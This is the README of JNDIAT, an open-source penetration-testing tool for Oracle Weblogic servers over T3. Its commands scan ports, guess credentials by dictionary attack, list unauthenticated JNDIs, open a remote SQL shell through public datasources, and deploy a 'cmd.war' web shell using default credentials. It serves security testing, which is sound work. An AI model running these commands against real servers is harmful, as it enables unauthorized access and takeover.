Quentin HARDY
quentin.hardy@protonmail.com
quentin.hardy@bt.com

JNDIAT - JNDI Attacking Tool

JNDIAT (JNDI Attacking Tool) is an open source penetration testing tool that tests the security of Weblogic servers through T3 protocol.

Usage examples of JNDIAT:

• You want to search if there are Weblogic ports which are accessible through T3 protocol, over SSL/TLS or not;
• You want to search valid accounts remotely in order to have a privileged connection;
• You want to list JNDIs (Java Naming and Directory Interface) which are accessible to know what you can do on the remote Weblogic server (without or with a Weblogic account);
• You want to use a unprotected (i.e. 'public') JDBC datasource in order to get a remote interactive SQL shell;
• You want to deploy an application (e.g. War) on the Weblogic server in order to have a Web shell (account required).

Tested on Oracle Weblogic 12 and Java JRE 8 (Official Download Link) for JNIDAT 2.0 version. Tested on Oracle Weblogic 11 and Java JRE 8 for JNIDAT 1.0 version.

Notices:

• If you have problems to connect to older Weblogic server with jnidat v2.0, you should try the JNDIAT v1.0. Indeed, jndiat 2.0 use weblogic v12 libraries. jndiat 1.0 uses older weblogic libraries.
• Don't use OpenJDK for running Jnidat jar file.

Changelog

• Version 2.00 (2022/07/11) :
  • SSL bug fix for new versions of Weblogic. Older jndiat version was not able to connect to lastest versions of Weblogic over TLS.
• Version 1.00 (2021/06/11) :
  • bug fix when can not list bindings
• Version 0.01 (2018/11/31) :
  • first version.

Features

• Supports T3 and T3s (T3 over SSL) connections. JNDIAT creates a local temporary Java KeyStore to validate the Weblogic server's certificate;
• Supports authentication with empty credentials ie login='' and password=''. Public JDBC datasources can be used with an empty account by default in Weblogic (tested on version11);
• Supports targets if the weblogic is in a domain;
• Detects ports accessible through T3 protocol;
• Finds valid credentials through dictionary attacks;
• Gets JNDIs list accessible with a specific account (or without account);
• Gets a remote sql shell via a JDBC datasource;
• With a privileged account, you can deploy an application on the weblogic server in order to have a Web shell for example.

Usage examples

Download latest release of jndiat https://github.com/quentinhardy/jndiat/releases

Main help

java -jar Jndiat.jar -h

JNDIAT version

java -jar Jndiat.jar --version

Scan ports

This module should be used for scanning ports accessible through T3 (or T3s) protocol in order to get JNDIs.

To know if you can use the port 7001 to establish a T3 connection:

java -jar Jndiat.jar scan -s 192.168.56.101 --ports 7001

To scan ports 7001 and 7002:

java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001,7002'

To scan ports from 7001 to 7010:

java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001-7010'

List of JNDIs

This module should be used to get the list of JNDIs accessible trough the T3 protocol. This module is useful in order to know if some JNDI are accessible without authentication (ex: a 'public' JDBC datasource).

To get JNDIs accessible on port 7001 of the server 192.168.56.101:

java -jar Jndiat.jar list -s 192.168.56.101 -p 7001

If you not specify credentials in the command line, the tool will returns JNDIs accessible without authentication. If you know valid credentials, you can use it to get more JNDIs:

java -jar Jndiat.jar list -s 192.168.56.101 -p 7001 -U username -P password

JDBC DataSource

This module allows you to get a remote SQL shell via a JDBC datasource.

To get an interactive SQL shell from a JNDI datasource:

java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell

The tool will ask you the JDBC datasource to use. If you know the datasource name, you can specify it:

java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell --datasource='jdbc/myDataSource'

Deploy an application

Thanks to this module, you can deploy an application (e.g. .war, .ear) in the remote Weblogic server through the T3 protocol. To use this module, you may have high privileges (and an account of course).

The following command deploys the application 'cmd.war' on the remote weblogic server.

java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --deploy --appl-file cmd.war

To undeploy the previous war ('cmd.war') from the remote weblogic server:

java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --undeploy

To change the application name deployed on the weblogic server, the --display-name option must be used:

java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --deploy --appl-file 'cmd.war' --display-name 'appli-name-displayed'

To undeploy a specific application named appli-name-displayed:

java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --undeploy --display-name 'appli-name-displayed'

Special thanks

apache ant 1.10.12 and Java JDK 8 has been used for generating jnidat 2.0 jar file.

Special thanks

Special thanks to some previous BT pentesters (e.g. @gno) for the initial work.

Donation

If you want to support my work doing a donation, I will appreciate a lot:

• Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf